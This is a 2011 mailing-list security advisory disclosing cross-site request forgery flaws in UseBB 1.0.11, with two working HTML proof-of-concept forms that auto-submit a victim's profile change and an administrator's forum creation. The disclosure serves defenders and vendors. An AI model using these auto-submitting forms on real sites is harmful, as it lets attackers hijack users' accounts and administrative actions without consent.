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HTB22913: Multiple CSRF (Cross-Site Request Forgery) in UseBB
From: advisory () htbridge ch
Date: Tue, 5 Apr 2011 11:33:43 +0200 (CEST)
Vulnerability ID: HTB22913 Reference: http://www.htbridge.ch/advisory/multiple_csrf_cross_site_request_forgery_in_usebb.html Product: UseBB Vendor: UseBB ( http://www.usebb.net/ ) Vulnerable Version: 1.0.11 Vendor Notification: 22 March 2011 Vulnerability Type: CSRF (Cross-Site Request Forgery) Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "/panel.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: [html] <form action="http://[host]/panel.php?act=editprofile" method="post" name="main" id="main"> <input type="hidden" name="displayed_name" value="123"> <input type="hidden" name="real_name" value=""> <input type="hidden" name="avatar_remote" value=""> <input type="hidden" name="birthday_month" value=""> <input type="hidden" name="birthday_day" value=""> <input type="hidden" name="birthday_year" value=""> <input type="hidden" name="location" value=""> <input type="hidden" name="website" value=""> <input type="hidden" name="occupation" value=""> <input type="hidden" name="interests" value=""> <input type="hidden" name="signature" value=""> <input type="hidden" name="email" value="test () test com"> <input type="hidden" name="msnm" value=""> <input type="hidden" name="yahoom" value=""> <input type="hidden" name="aim" value=""> <input type="hidden" name="icq" value=""> <input type="hidden" name="jabber" value=""> <input type="hidden" name="skype" value=""> <input type="hidden" name="submit" value="OK"> <input type="submit" id="btn"> </form> <script> document.getElementById('btn').click(); </script> [/html] The vulnerability exists due to failure in the "admin.php" script to properly verify the source of HTTP request. Attacker can use browser to exploit this vulnerability. The following PoC is available: [html] <form action="http://[host]/admin.php?act=forums&do=add" method="post" name="main" id="main"> <input type="hidden" name="name" value="123"> <input type="hidden" name="cat_id" value="1"> <input type="hidden" name="descr" value=""> <input type="hidden" name="status" value="1"> <input type="hidden" name="moderators" value=""> <input type="hidden" name="increase_post_count" value="1"> <input type="hidden" name="auto_lock" value=""> <input type="hidden" name="auth0" value="0"> <input type="hidden" name="auth1" value="0"> <input type="hidden" name="auth2" value="0"> <input type="hidden" name="auth3" value="0"> <input type="hidden" name="auth4" value="0"> <input type="hidden" name="auth5" value="0"> <input type="hidden" name="auth6" value="0"> <input type="hidden" name="auth7" value="0"> <input type="hidden" name="auth8" value="0"> <input type="hidden" name="auth9" value="0"> <input type="submit" id="btn"> </form> <script> document.getElementById('btn').click(); </script> [/html]
Current thread:
- HTB22913: Multiple CSRF (Cross-Site Request Forgery) in UseBB advisory (Apr 05)